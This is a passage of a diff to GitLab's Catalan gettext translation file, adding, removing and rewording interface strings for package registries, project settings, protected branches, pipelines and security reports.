-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr "Petició de fusió"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr "Més"
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr "Nom"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "Mai"
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
